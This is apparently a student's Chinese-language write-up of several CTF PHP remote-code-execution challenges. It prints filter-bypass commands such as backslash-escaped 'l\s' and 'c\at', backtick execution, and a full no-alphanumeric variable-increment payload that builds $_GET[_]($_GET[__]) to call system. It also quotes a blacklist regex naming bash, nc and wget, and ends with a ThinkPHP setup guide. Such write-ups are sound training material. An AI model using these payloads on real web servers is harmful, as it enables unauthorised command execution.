云曦历年考核
25年春开学考
RCCCE
开启题目进行代码审计
GET传参传入一个参数cmd,但对参数内容给了黑名单进行过滤
$blacklist = '/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|"|\>|\<|\%|\$/i';
ls、cat等都被过滤了,最后还不区分大小写
尝试过两个命令以后发现是无回显RCE,所以尝试用输出文件的方式
命令
?cmd="ls -l > a";
但是别忘了短线也在黑名单里,所以只能换一个
cmd=ls / | tee a
大意就是用ls命令查询目录以后把查询结果放入创建的文件a里面
然后访问a文件
诶哟没查询到,说明命令没有执行成功,检查了一下发现ls被过滤,没有绕过,加一个反斜杠
cmd=l\s / | tee a
这次就访问到了
可以看到有一个flag目录
然后利用cat命令抓取flag
因为cat和flag都被过滤,所以用 c\at 和 /fl\ag 绕过,然后输出到b文件中
然后访问b文件得到flag
ctfshow
RCE挑战1
代码审计
POST传入一个参数code,并把 ( 和 . 替换掉
思路就是利用echo来传一个shell命令,用反引号输出(反引号是和 ~ 键一起的英文格式)
执行命令
code=echo `ls /`;
查看到目录
很明显的flag目录,直接cat
code=echo `cat /f1agaaa`;
(cat后面加 / 是cat flag的必要格式)
得到flag
RCE挑战2
代码解释为不会显示错误信息
然后用POST传入参数 ctf_show
然后给定一个正则表达式 匹配参数中的字符
这里eval()函数我看别人的解释是把参数中的字符串按照PHP代码来计算(我只记得Python里是将字符串数字化)也就是说参数里的字符串如果合法就按PHP代码计算,如果不合法就输出“Are you hacking me AGAIN”
可以看到正则表达式过滤的字符比较多,大小写字母a-z,数字0-9,还有引号括号和其他特殊符号等
隔了一晚上回来发现这题是真有点意思
可以发现,虽然正则表达式过滤了很多字符,但是 ! $ ' () + , . / ; = [] _ 这些字符没被过滤,
而这些字符没被过滤的话第一就应该想到那个变量自增绕过
这个方法之前有记录过,但不是很详细
但大概就是利用变量自增构造出 $GET[_] ($_GET[__]); (注意,两个中括号 [ ] 里的下划线不一样长)用于实现命令执行
比如我用POST传参构造出$GET[_]($_GET[_]);这个格式,然后get传参就可以用_和__替换被过滤的字符
在php中,如果$a="A",那么执行$a++后,$a的值为B
因此可以用这种方法获取所有的字母。
那如何获得A呢?
[]默认表示数组名为Array,[]._表示数组名Array,拼接上字符_ 取Array_的第0个位置的元素就是“A”
如
$_=[ ]
echo $_
$_的取值就是Array,
$_=[ ]._
echo $_[0];
$_的取值就是A
但是别忘了这题数字0被过滤了,这里查询到了两种替换方法:
1、布尔表达式(用两个没被过滤的、不同的字符组成布尔表达式作为数组的索引)
例如 '!'=='+' 因为两个字符不同(不相等)所以返回值为0。 但是这个太长了
2、用 '_' 或 _ 作为数组的索引
那我现在的思路就是要构造出$GET[_] ($_GET[__]); 用于执行system('ls /');
整体思路如下:
$_=[]._; //$_变量的值为Array_
$_=$_['_']; //将$_赋值为$_[0],此时$_的值为A
$_++;$_++;$_++; //$_的值依次递增为B、C、D
$__=++$; //++在$前,就是先把$_自增后的值赋值给$__,此时$__的值为E,$_的值也为E。但如果是$_=$++的话,$__的值就是D了,可以理解为++在前是先自增再赋值,++在后就是先赋值才自增,这个和C语言中“i++与++i”的区别是一样的
$_++; //$_继续自增为F
$__=++$_.$__; //$_自增为G,与$__的值E拼接后,再赋值给$__,此时$__的值为GE
$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++; //$_的值依次递增为H、I、J、K、L、M、N、O、P、Q、R、S $_当前的值为S
$_=$__.++$_; //$_自增为T并拼接到GE后面,再赋值给$_,此时$_的值为GET
$_='_'.$_; //在GET的前面拼接一个_,此时$_的值为_GET 这里的'_'也可以是_
$$_[_]($$_[__]); //拼接出了$_GET[_]($_GET[__]),get传参的参数名分别为_和__ 而这里我想构造的_是system,__是ls / 就会在eval的括号中拼接出system('ls /');
所以,构造出来的payload就是:
ctf_show=$_=[]._;$_=$_['_'];$_++;$_++;$_++;$__=++$_;$_++;$__=++$_.$__;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__=$__.++$_;$_='_'.$__;$$_[_]($$_[__]);
url拼接替换_和__的执行命令?_=system&__=ls /即可
然后Excute
发现疑似flag目录f1agaaa
然后换命令ls / 为cat /f1agaaa 即可得到flag
NSSCTF
【SWPUCTF 2021 新生赛】easyrce
查看源代码
可以看到源码使用了eval()函数接收GET传参的url参数(上面说过,eval()函数会将字符串作为php代码执行)
这样就比较简单了,只要题目没有对我们的输入内容进行严格的过滤,直接利用eval()函数执行php恶意代码就可以达到我们的目的
比如我现在利用phpinfo();语句查看php信息
可以看到PHP配置信息,说明服务器执行了phpinfo()函数(即代码执行函数)
假如现在我再换一个系统命令执行函数(system() 命令:?url=system("ls -l");)
可以看到列出了当前目录下的文件和文件夹 (即上面所说系统命令执行函数)
那既然解题时是为了flag而来,就应该想想怎么利用这些东西来get flag
这里说一下这两个函数的区别:
system("ls /");
这个命令表示列出根目录下的文件和名称 ;
system("ls -l");
而这个命令表示的是以长格式列出当前工作目录下的文件和目录详细信息
然后我刚刚用的是这个命令:system("ls -l");
回显这一串
这表示的是当前工作目录下只有一个文件index.php,还显示了该文件的详细信息:total 4 -rw-rw-r-- 1 root root 109 Oct 2 2021 (不用管它啥意思,只用知道它是index.php的详细信息)
那这样说的话假如我换命令system("ls /l"); 也就是列出根目录下的文件和名称, 回显肯定是不同的,那就执行一下看看:
可以看到回显出的根目录,其的确与回显当前工作目录文件名的命令不一样,这说明PHP脚本的当前工作目录不是根目录(/
),而是某个特定的目录,例如脚本所在的目录
这样也就提醒了我以后尽量先用找根目录的命令(system("ls /");),这样一层层往里剥
诶其中的flllllaaaaaaggggggg目录明显就是提醒flag所在,那就针对这个目录即可
然后由于比较简单,一 cat就出flag了(Linux的OS命令cat:显示文件内容)
[SWPUUCTF 2022 新生赛]ez_rce
打开题目显示啥也没有?
查看源代码也没有什么
那就用kali扫一下目录康康
进入root用户
然后nc连一下,再ls查看一下目录
但是发现好像并没有什么有用的
那就尝试用dirsearch
额我的kali是新装的,重新安装一下dirsearch
apt install dirsearch
安装结束
然后开始扫
但结果发现连接不上
又试了两次还是连接不上
最后只好尝试用nikto(这个是一款开源的 网站扫描 工具,用于发现Web服务器上的安全漏洞和配置错误,且是kali自带的,可以直接使用),而我用这个的目的主要是扫出这个环境的ip
命令
nikto -host +url /**/环境http网址/**/
扫描
可以发现目标ip
然后把刚刚dirsearch的网址换位ip再进行一次扫描
发现这次连接成功了
目录有很多,没全截
但是发现有robots.txt,访问一下
可以看到有一个index.php文件,一猜就知道肯定是代码甚至是网站源码文件,直接访问
再往后没招了,上网后得到提示,搭建ThinkPHP框架
install for all users
不勾选
指定PHP安装位置
别忘了勾选add
然后点击Next
继续Next
然后Install
Next
剩下就Next finish就可以了
然后Win+R打开cmd,输入composer看是否安装成功
可以看到安装成功
然后安装TP前切换镜像
继续在cmd里执行以下其中一条命令切换镜像
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ /**/阿里云/**/
composer config -g repo.packagist composer https://repo.huaweicloud.com/repository/php/ /**/华为云/**/
我选了第二个安装
安装稳定版
我是第一次安装,所以进入文件夹根目录下单击右键到终端中打开
然后执行以下命令:
composer create-project topthink/think tp6
这里的tp命令可以任意更改,这个目录就是我们后面会经常提到的应用根目录
执行
测试运行
还是在cmd命令行的项目目录中,输入运行命令:
先进入
cd tp6
然后执行
php think run
这个过程会弹出是否让防火墙允许其访问公共网路,允许即可
在浏览器输入127.0.0.1:8000或http://localhost:8000
OK到这一步就完成了ThinkPHP6.0的安装
如果80端口没被占用的情况下,使用如下命令直接访问http://localhost;
php think run -p 80
这样ThinkPHP6.0已经帮我们将域名自动部署到public里了